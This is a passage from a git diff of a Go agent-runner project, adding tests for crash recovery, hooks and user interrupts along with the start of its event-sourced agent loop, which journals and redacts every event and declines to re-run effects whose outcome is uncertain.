strings.Index(body, "focus on") > strings.Index(body, "ack:") { + t.Errorf("publish order lost: %s", body) + } +} + +// S5.4: without a board (a run outside any collaboration face), the +// blackboard tools are not advertised; a fabricated call is model-visible. +func TestBlackboardAbsent(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{{Text: "hi"}, {Finish: "end_turn"}}}, + }} + l, cap := spawnLoop(t, fix, t.TempDir()) + l.Spec.Agents = nil // no collaboration + if _, err := l.Run(context.Background(), "hi"); err != nil { + t.Fatal(err) + } + for _, td := range cap.requests[0].Tools { + if td.Name == "publish_note" || td.Name == "read_notes" || td.Name == "handoff_agent" { + t.Errorf("collaboration tool %s advertised without a whitelist", td.Name) + } + } +} diff --git a/internal/agent/hook_integration_test.go b/internal/agent/hook_integration_test.go new file mode 100644 index 0000000..422fa2e --- /dev/null +++ b/internal/agent/hook_integration_test.go @@ -0,0 +1,157 @@ +package agent + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "os" + "os/exec" + "path/filepath" + "strings" + "testing" + + "github.com/ralphite/agentrunner/internal/crash" + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/hook" + "github.com/ralphite/agentrunner/internal/pipeline" + "github.com/ralphite/agentrunner/internal/provider/scripted" + "github.com/ralphite/agentrunner/internal/store" + "github.com/ralphite/agentrunner/internal/tool" + "github.com/ralphite/agentrunner/internal/workspace" +) + +// The 3.8 exit criterion: hooks with side effects must NOT re-run on the +// recovery path. A real pre hook appends to a marker file; the process is +// killed between the hook and the resolution; resume surfaces in-doubt +// (3.2 machinery + real hook), and the marker still has exactly one line. +func TestHooksDoNotRerunOnResume(t *testing.T) { + if os.Getenv("GO_CRASH_HELPER") == "1" { + helperHookRun() + return + } + + base := t.TempDir() + sessDir := filepath.Join(base, "sess") + root := filepath.Join(base, "ws") + if err := os.Mkdir(root, 0o755); err != nil { + t.Fatal(err) + } + + cmd := exec.Command(os.Args[0], "-test.run=TestHooksDoNotRerunOnResume") + cmd.Env = append(os.Environ(), + "GO_CRASH_HELPER=1", + "CRASH_SESS_DIR="+sessDir, + "CRASH_WS="+root, + // Hit 2 = the tool effect's window (hit 1 is the llm effect). + crash.EnvVar+"=point:"+crash.PointBetweenGateAndResolved+":2", + ) + out, err := cmd.CombinedOutput() + var ee *exec.ExitError + if !errors.As(err, &ee) || ee.ExitCode() != crash.ExitCode { + t.Fatalf("subprocess: err = %v, out = %s", err, out) + } + + marker, err := os.ReadFile(filepath.Join(root, "hooks.log")) + if err != nil { + t.Fatal(err) + } + if got := strings.Count(string(marker), "pre\n"); got != 1 { + t.Fatalf("pre hook ran %d times before crash, want 1", got) + } + + l, err := hookLoop(sessDir, root) + if err != nil { + t.Fatal(err) + } + defer func() { _ = l.Store.Close() }() + _, err = l.Resume(context.Background()) + var inDoubt *InDoubtError + if !errors.As(err, &inDoubt) { + t.Fatalf("err = %v, want InDoubtError (hooks ran, no resolution)", err) + } + + marker, _ = os.ReadFile(filepath.Join(root, "hooks.log")) + if got := strings.Count(string(marker), "pre\n"); got != 1 { + t.Fatalf("pre hook re-ran on resume: %d lines", got) + } +} + +func hookLoop(sessDir, root string) (*Loop, error) { + es, err := store.OpenEventStore(sessDir) + if err != nil { + return nil, err + } + ws, err := workspace.New(root) + if err != nil { + return nil, err + } + runner := &hook.Runner{PreTool: []string{"echo pre >> hooks.log"}, Dir: root} + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{Name: "bash", Args: map[string]any{"command": "true"}}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{{Text: "done"}, {Finish: "end_turn"}}}, + }} + return &Loop{ + Spec: &AgentSpec{Name: "hooked", Model: ModelSpec{Provider: "scripted", ID: "x", MaxTokens: 50}, + SystemPrompt: "s", Tools: []string{"bash"}, MaxTurns: 5, + Permissions: []pipeline.PermissionRule{{Action: "allow"}}}, + Provider: scripted.New(fix), + Exec: &tool.Executor{WS: ws}, + Store: es, + SessionID: "hooked", + Pipeline: &pipeline.Pipeline{Gates: []pipeline.Gate{ + &hook.Gate{Runner: runner}, + &pipeline.PermissionGate{Rules: []pipeline.PermissionRule{{Action: "allow"}}, WS: ws}, + }}, + Hooks: runner, + }, nil +} + +func helperHookRun() { + l, err := hookLoop(os.Getenv("CRASH_SESS_DIR"), os.Getenv("CRASH_WS")) + if err != nil { + fmt.Println("helper:", err) + os.Exit(1) + } + _, _ = l.Run(context.Background(), "run true") + fmt.Println("UNREACHABLE: point did not fire") + os.Exit(0) +} + +// Post hooks attach their output to the completion fact. +func TestPostHookNoteJournaled(t *testing.T) { + root := t.TempDir() + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{Name: "bash", Args: map[string]any{"command": "true"}}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{{Text: "done"}, {Finish: "end_turn"}}}, + }} + l := testLoop(t, fix, root) + l.Hooks = &hook.Runner{PostTool: []string{`echo "checked by post hook"`}, Dir: root} + + if _, err := l.Run(context.Background(), "run true"); err != nil { + t.Fatal(err) + } + events, err := store.ReadEvents(l.Store.Dir()) + if err != nil { + t.Fatal(err) + } + var note string + for _, e := range events { + if e.Type == event.TypeActivityCompleted && strings.Contains(string(e.Payload), "tool-call_1_0") { + var completed event.ActivityCompleted + if err := json.Unmarshal(e.Payload, &completed); err != nil { + t.Fatal(err) + } + note = completed.HookNote + } + } + if note != "checked by post hook" { + t.Fatalf("hook_note = %q", note) + } +} diff --git a/internal/agent/indoubt_test.go b/internal/agent/indoubt_test.go new file mode 100644 index 0000000..f1bddb7 --- /dev/null +++ b/internal/agent/indoubt_test.go @@ -0,0 +1,233 @@ +package agent + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "os" + "os/exec" + "path/filepath" + "strings" + "testing" + + "github.com/ralphite/agentrunner/internal/crash" + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/provider" + "github.com/ralphite/agentrunner/internal/provider/scripted" + "github.com/ralphite/agentrunner/internal/state" + "github.com/ralphite/agentrunner/internal/store" + "github.com/ralphite/agentrunner/internal/tool" + "github.com/ralphite/agentrunner/internal/workspace" +) + +// The 2.15 crash-matrix scenario: killed at after_exec_before_journal — +// bash ran (marker line written) but no terminal event landed. Resume must +// surface in-doubt and must NOT re-run the command. +func TestInDoubtSurfacesAndDoesNotRerun(t *testing.T) { + if os.Getenv("GO_CRASH_HELPER") == "1" { + helperInDoubtRun(t) + return + } + + base := t.TempDir() + sessDir := filepath.Join(base, "sess") + root := filepath.Join(base, "ws") + if err := os.Mkdir(root, 0o755); err != nil { + t.Fatal(err) + } + + cmd := exec.Command(os.Args[0], "-test.run=TestInDoubtSurfacesAndDoesNotRerun") + cmd.Env = append(os.Environ(), + "GO_CRASH_HELPER=1", + "CRASH_SESS_DIR="+sessDir, + "CRASH_WS="+root, + crash.EnvVar+"=point:"+crash.PointAfterExecBeforeJournal+":2", // hit 1 = llm-t1, hit 2 = the bash tool + ) + out, err := cmd.CombinedOutput() + var ee *exec.ExitError + if !errors.As(err, &ee) || ee.ExitCode() != crash.ExitCode { + t.Fatalf("subprocess: err = %v, out = %s", err, out) + } + + // The effect happened exactly once before the crash. + marker, err := os.ReadFile(filepath.Join(root, "marker.txt")) + if err != nil { + t.Fatal(err) + } + if got := strings.Count(string(marker), "ran\n"); got != 1 { + t.Fatalf("marker lines = %d, want 1 (pre-crash effect)", got) + } + + // Resume: refuses with the in-doubt activity named. + es, err := store.OpenEventStore(sessDir) + if err != nil { + t.Fatal(err) + } + defer func() { _ = es.Close() }() + ws, err := workspace.New(root) + if err != nil { + t.Fatal(err) + } + l := &Loop{ + Spec: inDoubtSpec(), + Provider: scripted.New(scripted.Fixture{}), // must never be called + Exec: &tool.Executor{WS: ws}, + Store: es, + SessionID: "in-doubt", + } + _, err = l.Resume(context.Background()) + var inDoubt *InDoubtError + if !errors.As(err, &inDoubt) { + t.Fatalf("err = %v, want InDoubtError", err) + } + if len(inDoubt.Activities) != 1 || inDoubt.Activities[0].Name != "bash" { + t.Fatalf("in-doubt = %+v", inDoubt.Activities) + } + if !strings.Contains(err.Error(), "refusing to re-run") { + t.Errorf("message = %q", err) + } + + // And it did NOT re-run. + marker, _ = os.ReadFile(filepath.Join(root, "marker.txt")) + if got := strings.Count(string(marker), "ran\n"); got != 1 { + t.Fatalf("marker lines after resume = %d — in-doubt activity was re-run", got) + } +} + +func inDoubtSpec() *AgentSpec { + return &AgentSpec{ + Name: "doubter", + Model: ModelSpec{Provider: "scripted", ID: "x", MaxTokens: 100}, + SystemPrompt: "s", + Tools: []string{"bash", "read_file"}, + MaxTurns: 5, + } +} + +func helperInDoubtRun(t *testing.T) { + es, err := store.OpenEventStore(os.Getenv("CRASH_SESS_DIR")) + if err != nil { + fmt.Println("helper:", err) + os.Exit(1) + } + ws, err := workspace.New(os.Getenv("CRASH_WS")) + if err != nil { + fmt.Println("helper:", err) + os.Exit(1) + } + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{Name: "bash", + Args: map[string]any{"command": "echo ran >> marker.txt"}}}, + {Finish: "tool_use"}, + }}, + }} + l := &Loop{ + Spec: inDoubtSpec(), + Provider: scripted.New(fix), + Exec: &tool.Executor{WS: ws}, + Store: es, + SessionID: "in-doubt", + } + _, _ = l.Run(context.Background(), "leave a mark") + fmt.Println("UNREACHABLE: point did not fire") + os.Exit(0) +} + +// Idempotent in-flight activities are NOT in doubt: resume re-runs them. +// Synthetic log: turn 1 assistant called read_file, Started journaled +// (idempotent), no terminal — then the process died. +func TestIdempotentInFlightRerunsOnResume(t *testing.T) { + base := t.TempDir() + sessDir := filepath.Join(base, "sess") + root := filepath.Join(base, "ws") + if err := os.Mkdir(root, 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(root, "greet.txt"), []byte("hello"), 0o644); err != nil { + t.Fatal(err) + } + + es, err := store.OpenEventStore(sessDir) + if err != nil { + t.Fatal(err) + } + asst := event.AssistantMessage{Turn: 1, Message: providerAssistantToolCall("call_1_0", "read_file", `{"path":"greet.txt"}`)} + for _, pair := range []struct { + typ string + payload any + }{ + {event.TypeRunStarted, &event.RunStarted{SpecName: "t", SubStateVersions: state.SubStateVersions()}}, + {event.TypeInputReceived, &event.InputReceived{Text: "read it", Source: "cli"}}, + {event.TypeTurnStarted, &event.TurnStarted{Turn: 1}}, + {event.TypeAssistantMessage, &asst}, + {event.TypeActivityStarted, &event.ActivityStarted{ActivityID: "tool-call_1_0", + Kind: event.KindTool, Name: "read_file", CallID: "call_1_0", Idempotent: true, Attempt: 1}}, + } { + env, err := event.New(pair.typ, pair.payload) + if err != nil { + t.Fatal(err) + } + if _, err := es.Append(env); err != nil { + t.Fatal(err) + } + } + _ = es.Close() // crash + + es2, err := store.OpenEventStore(sessDir) + if err != nil { + t.Fatal(err) + } + defer func() { _ = es2.Close() }() + ws, err := workspace.New(root) + if err != nil { + t.Fatal(err) + } + prov := scripted.New(scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{{Text: "done"}, {Finish: "end_turn"}}}, + }}) + l := &Loop{ + Spec: inDoubtSpec(), + Provider: prov, + Exec: &tool.Executor{WS: ws}, + Store: es2, + SessionID: "idem", + } + res, err := l.Resume(context.Background()) + if err != nil { + t.Fatal(err) + } + if res.Reason != "completed" || res.Turns != 2 { + t.Fatalf("res = %+v", res) + } + if err := prov.Done(); err != nil { + t.Error(err) + } + + // The re-run produced a real result and drained the in-flight set. + events, err := store.ReadEvents(sessDir) + if err != nil { + t.Fatal(err) + } + final, err := state.Fold(events) + if err != nil { + t.Fatal(err) + } + if len(final.Activities) != 0 { + t.Errorf("in-flight not drained: %+v", final.Activities) + } + tr, ok := final.Conversation.ToolResults["call_1_0"] + if !ok || tr.IsError { + t.Errorf("re-run result = %+v (ok=%v)", tr, ok) + } +} + +func providerAssistantToolCall(callID, name, args string) provider.Message { + return provider.Message{ + Role: provider.RoleAssistant, + Parts: []provider.Part{{ + Kind: provider.PartToolCall, CallID: callID, ToolName: name, Args: json.RawMessage(args), + }}, + } +} diff --git a/internal/agent/interrupt_test.go b/internal/agent/interrupt_test.go new file mode 100644 index 0000000..a769142 --- /dev/null +++ b/internal/agent/interrupt_test.go @@ -0,0 +1,175 @@ +package agent + +import ( + "context" + "iter" + "os" + "path/filepath" + "strings" + "sync" + "testing" + "time" + + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/provider" + "github.com/ralphite/agentrunner/internal/provider/scripted" + "github.com/ralphite/agentrunner/internal/store" + "github.com/ralphite/agentrunner/internal/tool" + "github.com/ralphite/agentrunner/internal/workspace" +) + +// blockingLLM streams a delta then blocks until ctx is cancelled (a stuck +// model call the user interrupts), then on the SECOND attempt completes. +type blockingLLM struct { + mu sync.Mutex + attempt int + entered chan struct{} +} + +func (p *blockingLLM) Capabilities() provider.Capabilities { return provider.Capabilities{} } +func (p *blockingLLM) Complete(ctx context.Context, _ provider.CompleteRequest) iter.Seq2[provider.StreamEvent, error] { + return func(yield func(provider.StreamEvent, error) bool) { + p.mu.Lock() + p.attempt++ + a := p.attempt + p.mu.Unlock() + if a == 1 { + yield(provider.StreamEvent{Kind: provider.EventTextDelta, TextDelta: "thinking..."}, nil) + select { + case p.entered <- struct{}{}: + default: + } + <-ctx.Done() // stuck until interrupted + yield(provider.StreamEvent{}, ctx.Err()) + return + } + yield(provider.StreamEvent{Kind: provider.EventTextDelta, TextDelta: "done"}, nil) + yield(provider.StreamEvent{Kind: provider.EventFinish, Finish: provider.FinishEndTurn}, nil) + } +} + +// S4.2: a steering interrupt during a stuck LLM call cancels it and the run +// CONTINUES (re-runs the turn), rather than aborting. +func TestSteeringInterruptDuringLLM(t *testing.T) { + root := t.TempDir() + l := testLoop(t, scripted.Fixture{}, root) + prov := &blockingLLM{entered: make(chan struct{}, 1)} + l.Provider = prov + interrupts := make(chan struct{}, 1) + l.Interrupts = interrupts + sink := &captureSink{} + l.Out = sink + + done := make(chan error, 1) + var res RunResult + go func() { + var err error + res, err = l.Run(context.Background(), "answer") + done <- err + }() + <-prov.entered // LLM is streaming and stuck + interrupts <- struct{}{} // Ctrl-C + select { + case err := <-done: + if err != nil { + t.Fatalf("steering interrupt must not fail the run: %v", err) + } + case <-time.After(10 * time.Second): + t.Fatal("run did not complete after steering interrupt") + } + if res.Reason != "completed" { + t.Fatalf("res = %+v", res) + } + + events, err := store.ReadEvents(l.Store.Dir()) + if err != nil { + t.Fatal(err) + } + var sawCancel, sawInterrupt bool + for _, e := range events { + if e.Type == event.TypeActivityCancelled { + sawCancel = true + } + if e.Type == event.TypeInputReceived && strings.Contains(string(e.Payload), "interrupt") { + sawInterrupt = true + } + } + if !sawCancel || !sawInterrupt { + t.Fatalf("expected cancelled activity + interrupt input (cancel=%v interrupt=%v)", sawCancel, sawInterrupt) + } + kinds := strings.Join(sink.kinds(), ",") + if !strings.Contains(kinds, "discard") { + t.Errorf("surface should see the interrupt discard: %s", kinds) + } +} + +// S4.2 + 500ms: a steering interrupt kills a running bash tool quickly and +// the run continues; the model sees [interrupted by user]. +func TestSteeringInterruptKillsBashFast(t *testing.T) { + root := t.TempDir() + ws, err := workspace.New(root) + if err != nil { + t.Fatal(err) + } + es, err := store.OpenEventStore(filepath.Join(t.TempDir(), "sess")) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = es.Close() }) + + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{Name: "bash", + Args: map[string]any{"command": "echo $$ > pid.txt; sleep 30"}}}, + {Finish: "tool_use"}, + }}, + { + Expect: scripted.Expect{LastMessageContains: "[interrupted by user]"}, + Respond: []scripted.Event{{Text: "ok, stopped"}, {Finish: "end_turn"}}, + }, + }} + interrupts := make(chan struct{}, 1) + l := &Loop{ + Spec: &AgentSpec{Name: "b", Model: ModelSpec{Provider: "scripted", ID: "x", MaxTokens: 50}, + SystemPrompt: "s", Tools: []string{"bash"}, MaxTurns: 5}, + Provider: scripted.New(fix), + Exec: &tool.Executor{WS: ws}, + Store: es, + SessionID: "interrupt-bash", + Interrupts: interrupts, + } + + done := make(chan error, 1) + go func() { _, err := l.Run(context.Background(), "run something slow"); done <- err }() + + // Wait for the bash pid marker, then interrupt and time the kill. + pidPath := filepath.Join(root, "pid.txt") + for { + if _, err := os.Stat(pidPath); err == nil { + break + } + time.Sleep(10 * time.Millisecond) + } + start := time.Now() + interrupts <- struct{}{} + if err := <-done; err != nil { + t.Fatal(err) + } + if elapsed := time.Since(start); elapsed > 5*time.Second { + t.Fatalf("interrupt took %s — 500ms grace not applied", elapsed) + } + + events, err := store.ReadEvents(es.Dir()) + if err != nil { + t.Fatal(err) + } + var sawCancel bool + for _, e := range events { + if e.Type == event.TypeActivityCancelled { + sawCancel = true + } + } + if !sawCancel { + t.Fatal("bash activity should be cancelled") + } +} diff --git a/internal/agent/loop.go b/internal/agent/loop.go new file mode 100644 index 0000000..8a86486 --- /dev/null +++ b/internal/agent/loop.go @@ -0,0 +1,1447 @@ +package agent + +import ( + "bytes" + "context" + "encoding/json" + "errors" + "fmt" + "log/slog" + "slices" + "sort" + "strings" + "sync" + "time" + + "github.com/ralphite/agentrunner/internal/blackboard" + "github.com/ralphite/agentrunner/internal/clock" + "github.com/ralphite/agentrunner/internal/crash" + "github.com/ralphite/agentrunner/internal/errs" + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/hook" + "github.com/ralphite/agentrunner/internal/mcp" + "github.com/ralphite/agentrunner/internal/pipeline" + "github.com/ralphite/agentrunner/internal/protocol" + "github.com/ralphite/agentrunner/internal/provider" + "github.com/ralphite/agentrunner/internal/redact" + "github.com/ralphite/agentrunner/internal/runtime" + "github.com/ralphite/agentrunner/internal/state" + "github.com/ralphite/agentrunner/internal/store" + "github.com/ralphite/agentrunner/internal/tool" +) + +// Loop is the S2 event-sourced agent loop: every input and side effect is +// journaled as an event, the fold state is the only working memory, and +// each step is decided from that state alone — which is exactly what makes +// snapshot-resume (2.13) a restart of the same decision function. +type Loop struct { + Spec *AgentSpec + Provider provider.Provider + Exec *tool.Executor + Store *store.EventStore + Clock clock.Clock + Out protocol.Sink + SessionID string + Version string + // Pipeline adjudicates every effect before execution (S3). nil is an + // empty pipeline: everything allowed, resolutions still journaled. + Pipeline *pipeline.Pipeline + // Approvals resolves ask verdicts (3.5). nil = EnvApprovals. + Approvals ApprovalResolver + // Interrupts delivers user interrupts (first Ctrl-C). A receive during + // WAITING_APPROVAL resolves the approval as denied-by-interrupt and + // the run continues. nil = never fires. + Interrupts <-chan struct{} + // Mode is the STARTING mode (3.6): journaled as the first ModeChanged. + // The live mode is fold state; empty means "default". + Mode string + // Hooks runs post-tool hooks (3.8); pre hooks live in the pipeline's + // hook gate. nil = no hooks. + Hooks *hook.Runner + // MCP is the connected MCP tool face (S5.1). The connections are + // out-of-band runtime state owned by the caller; the loop journals the + // discovered schemas (ToolsDiscovered), dispatches mcp__ calls here, and + // on resume reconciles the live face against the journaled one. nil = + // no MCP tools. + MCP MCPManager + // SubSpecs resolves the spec.Agents whitelist to child specs (S5.3); + // nil = spawning unavailable. Depth is this run's position in the agent + // tree (0 = root); the spawn gate caps it. + SubSpecs SubSpecResolver + Depth int + // Board is the agent tree's shared blackboard (S5.4): created at the + // root when the spec whitelists agents, inherited by every child. The + // store is ephemeral runtime state — durable influence flows through + // each run's journaled read_notes results, never the store itself. + Board *blackboard.Board + // BoardMirror, when set, receives every note the tree publishes (S6 + // 模块⑤: a hosting surface like the daemon forwards notes to attached + // watchers). Wired into the board at creation; the tool face is + // unaffected — it still depends on the spec's agents whitelist only. + BoardMirror func(blackboard.Note) + // Artifacts is the tree-shared deliverable CAS (S5.5): opened lazily at + // the ROOT session (Store.Dir()/artifacts), inherited by children so + // refs resolve tree-wide. Blob durability precedes the ArtifactPublished + // fact, always. + Artifacts *store.ArtifactStore + // Inputs are artifact refs to materialize into the workspace before the + // first turn (S5.8): journaled into RunStarted, written by an idempotent + // materialize activity. Set by a spawning parent (or a future CLI flag). + Inputs []event.ArtifactInput + // bg is the background-task runtime (S6.1): cancel handles + the done + // channel. Ephemeral — the durable truth is the tasks sub-state. + bg *bgRuntime +} + +// MCPManager is the slice of mcp.Manager the loop needs (an interface so +// tests can fake a face without live transports). +type MCPManager interface { + SetAllowed(names []string) + Discover(ctx context.Context) ([]mcp.DiscoveredTool, error) + Call(ctx context.Context, qualified string, args json.RawMessage) (json.RawMessage, bool, error) +} + +var _ MCPManager = (*mcp.Manager)(nil) + +// RunResult summarizes a completed run. +type RunResult struct { + Reason string // "completed" | "max_turns" + Turns int + Usage provider.Usage +} + +// driveState is the loop's working memory: the fold state plus the tip of +// the causation chain. drive() owns it; appendE mutates it. +type driveState struct { + s state.State + lastID string +} + +// compact renders raw JSON on one line, dropping surrounding whitespace. +func compact(raw json.RawMessage) string { + var buf bytes.Buffer + if err := json.Compact(&buf, raw); err != nil { + return string(raw) + } + return buf.String() +} + +// emit sends an output event to the surface (nil-safe). +func (l *Loop) emit(e protocol.Event) { + if l.Out != nil { + l.Out.Emit(e) + } +} + +// interruptScope derives a per-activity context cancelled with cause +// errs.ErrUserInterrupt when a steering interrupt (S4.2, first Ctrl-C) +// arrives. stop() must be called after the activity. A hard cancel of the +// parent ctx (second Ctrl-C / SIGTERM) propagates unchanged and keeps its +// own cause, so the loop can tell steering (continue) from quit (abort). +func (l *Loop) interruptScope(ctx context.Context) (context.Context, func()) { + if l.Interrupts == nil { + return ctx, func() {} + } + actCtx, cancel := context.WithCancelCause(ctx) + done := make(chan struct{}) + go func() { + select { + case <-l.Interrupts: + cancel(errs.ErrUserInterrupt) + case <-done: + } + }() + return actCtx, func() { close(done); cancel(nil) } +} + +// steered reports whether an activity ended because of a steering interrupt +// (as opposed to a hard cancel or a normal error). +func steered(actCtx context.Context) bool { + return errors.Is(context.Cause(actCtx), errs.ErrUserInterrupt) +} + +// onSteeringInterrupt journals the interrupt as a control input (audit; +// journal-inputs-first) and emits a surface notice. The interrupt is NOT +// a conversation message (the fold drops source=="interrupt"). +func (l *Loop) onSteeringInterrupt(appendE AppendFunc, turn int) error { + if _, err := appendE(event.TypeInputReceived, &event.InputReceived{ + Text: "[interrupt]", Source: "interrupt", + }); err != nil { + return err + } + l.emit(protocol.Event{Kind: protocol.KindDiscard, Turn: turn, Text: "interrupted by user"}) + return nil +} + +// appender builds the single write path: journal one event, fold it, and +// advance the linear causation chain. EVERY payload passes through +// credential redaction here — args/results are also redacted upstream in +// the executor, but this blanket is what keeps run_started (task, spec), +// input_received, and assistant messages (a model echoing a secret it +// read) out of the durable log and, via the fold, out of snapshots and +// later provider requests. +func (l *Loop) appender(ds *driveState) AppendFunc { + r := redact.FromEnv() + return func(typ string, payload any) (event.Envelope, error) { + env, err := event.New(typ, payload) + if err != nil { + return env, err + } + env.Payload = r.JSON(env.Payload) + env.CausationID = ds.lastID + env.CorrelationID = l.SessionID + appended, err := l.Store.Append(env) + if err != nil { + return appended, err + } + ds.lastID = appended.ID + next, err := state.Apply(ds.s, appended) + if err != nil { + return appended, err + } + ds.s = next + return appended, nil + } +} + +// Run drives the loop to completion for a single task. +func (l *Loop) Run(ctx context.Context, task string) (RunResult, error) { + if l.Clock == nil { + l.Clock = clock.Real{} + } + l.ensureBoard() + l.ensureApprovals() + if err := l.ensureArtifacts(); err != nil { + return RunResult{}, err + } + // The task is external input and may carry a shell-expanded credential; + // IngestInput appends via the store directly (not the appender), so it + // must be scrubbed here. + task = redact.FromEnv().String(task) + ds := &driveState{s: state.New()} + appendE := l.appender(ds) + + specJSON, err := json.Marshal(l.Spec) + if err != nil { + return RunResult{}, err + } + var wsRoot string + if l.Exec != nil && l.Exec.WS != nil { + wsRoot = l.Exec.WS.Root() + } + memoryBlock, skillsBlock := renderContextBlocks(wsRoot) + if _, err := appendE(event.TypeRunStarted, &event.RunStarted{ + SpecName: l.Spec.Name, Model: l.Spec.Model.ID, Task: task, + Version: l.Version, SubStateVersions: state.SubStateVersions(), + Spec: specJSON, WorkspaceRoot: wsRoot, + Env: renderEnvBlock(wsRoot, l.Clock.Now()), + Memory: memoryBlock, Skills: skillsBlock, + Agents: renderAgentsDirectory(l.Spec.Agents, l.SubSpecs), + Inputs: l.Inputs, + // The effective permission rules, materialized as data (S6): a child + // pipeline holds the parent's gates, so this captures the WHOLE + // intersection chain — a standalone resume of this session rebuilds + // the same gates without the parent process. + PermissionLayers: marshalPermissionLayers(l.Pipeline), + }); err != nil { + return RunResult{}, err + } + input, err := runtime.IngestInput(l.Store, l.SessionID, task, "cli") + if err != nil { + return RunResult{}, err + } + ds.lastID = input.ID + if ds.s, err = state.Apply(ds.s, input); err != nil { + return RunResult{}, err + } + if l.Mode != "" && l.Mode != pipeline.ModeDefault { + if !pipeline.ValidMode(l.Mode) { + return RunResult{}, fmt.Errorf("unknown mode %q", l.Mode) + } + if _, err := appendE(event.TypeModeChanged, &event.ModeChanged{ + To: l.Mode, Cause: "startup", + }); err != nil { + return RunResult{}, err + } + } + if err := l.discoverMCP(ctx, appendE); err != nil { + return RunResult{}, err + } + if err := l.materializeInputs(ctx, ds, appendE); err != nil { + return RunResult{}, err + } + l.emit(protocol.Event{Kind: protocol.KindRunStart, Mode: ds.s.CurrentMode()}) + + return l.drive(ctx, ds, appendE) +} + +// discoverMCP journals the MCP tool face at session start (S5.1): the +// spec's allowed_tools narrowing is applied first, then each server's +// discovered schemas land as one ToolsDiscovered fact. The connections +// themselves stay out-of-band. +func (l *Loop) discoverMCP(ctx context.Context, appendE AppendFunc) error { + if l.MCP == nil { + return nil + } + l.MCP.SetAllowed(l.Spec.AllowedTools) + tools, err := l.MCP.Discover(ctx) + if err != nil { + return fmt.Errorf("mcp discovery: %w", err) + } + for _, group := range groupByServer(tools) { + if _, err := appendE(event.TypeToolsDiscovered, &group); err != nil { + return err + } + } + return nil +} + +// groupByServer buckets discovered tools into per-server ToolsDiscovered +// payloads, in server order (input is already name-sorted). +func groupByServer(tools []mcp.DiscoveredTool) []event.ToolsDiscovered { + byServer := map[string]*event.ToolsDiscovered{} + var order []string + for _, t := range tools { + g, ok := byServer[t.Server] + if !ok { + g = &event.ToolsDiscovered{Server: t.Server} + byServer[t.Server] = g + order = append(order, t.Server) + } + g.Tools = append(g.Tools, event.MCPToolDef{ + Server: t.Server, Name: t.Name, Description: t.Description, + Class: t.Class, InputSchema: t.InputSchema, + }) + } + sort.Strings(order) + out := make([]event.ToolsDiscovered, 0, len(order)) + for _, s := range order { + out = append(out, *byServer[s]) + } + return out +} + +// Resume rebuilds the fold — snapshot plus event tail when a snapshot +// exists, full fold otherwise — and re-enters the same drive loop. A +// sub-state version mismatch is refused, never silently migrated. +func (l *Loop) Resume(ctx context.Context) (RunResult, error) { + if l.Clock == nil { + l.Clock = clock.Real{} + } + // A resumed collaboration gets a FRESH board: notes are ephemeral by + // doctrine (what mattered was journaled as read results), and the face + // must match the original run's. The artifact store is durable and + // simply reopens. + l.ensureBoard() + l.ensureApprovals() + if err := l.ensureArtifacts(); err != nil { + return RunResult{}, err + } + dir := l.Store.Dir() + events, err := store.ReadEvents(dir) + if err != nil { + return RunResult{}, err + } + if len(events) == 0 { + return RunResult{}, fmt.Errorf("resume: session has no events") + } + + // The versions journaled at run start guard EVERY resume, snapshot or + // not — a full fold across an incompatible sub-state shape is just as + // wrong as a snapshot load. + if events[0].Type == event.TypeRunStarted { + if decoded, derr := event.DecodePayload(events[0]); derr == nil { + if started := decoded.(*event.RunStarted); len(started.SubStateVersions) > 0 { + if err := checkVersions(started.SubStateVersions); err != nil { + return RunResult{}, err + } + } + } + } + + var s state.State + snap, ok, err := store.LatestSnapshot(dir) + if err != nil { + // Snapshots are an optimization, never a source of truth: a + // corrupt one degrades to the full fold instead of blocking. + slog.Warn("resume: ignoring unreadable snapshot, folding from scratch", "err", err) + ok = false + } + if ok { + if err := checkVersions(snap.SubStateVersions); err != nil { + return RunResult{}, err + } + if err := json.Unmarshal(snap.State, &s); err != nil { + slog.Warn("resume: snapshot state unreadable, folding from scratch", "err", err) + ok = false + } else { + for _, e := range events { + if e.Seq <= snap.UptoSeq { + continue + } + if s, err = state.Apply(s, e); err != nil { + return RunResult{}, err + } + } + } + } + if !ok { + if s, err = state.Fold(events); err != nil { + return RunResult{}, err + } + } + + if s.Run.Status == state.StatusEnded { + return RunResult{Reason: s.Run.Reason, Turns: s.Run.Turn, Usage: s.Run.Usage}, + fmt.Errorf("resume: session already ended (%s)", s.Run.Reason) + } + + ds := &driveState{s: s, lastID: events[len(events)-1].ID} + appendE := l.appender(ds) + + // A crash between run_started and input_received leaves the task + // durable in RunStarted but never journaled as input — re-ingest it + // rather than silently calling the model with an empty conversation. + if len(s.Conversation.Messages) == 0 && s.Run.Task != "" { + input, err := runtime.IngestInput(l.Store, l.SessionID, s.Run.Task, "cli") + if err != nil { + return RunResult{}, err + } + ds.lastID = input.ID + if ds.s, err = state.Apply(ds.s, input); err != nil { + return RunResult{}, err + } + } + + // In-doubt (2.15): Started without a terminal event means the effect + // may or may not have happened. Idempotent activities simply re-run + // (decide() reaches them again); anything else surfaces to the human — + // re-running an edit or a shell command on doubt is how state diverges. + // 3.2 extends this to the adjudication window: an effect that entered + // SIDE-EFFECTING gates (hooks) without an EffectResolved is equally in + // doubt; pure-gate windows re-adjudicate on their own. + inDoubt := collectInDoubt(s) + pendingEffects := 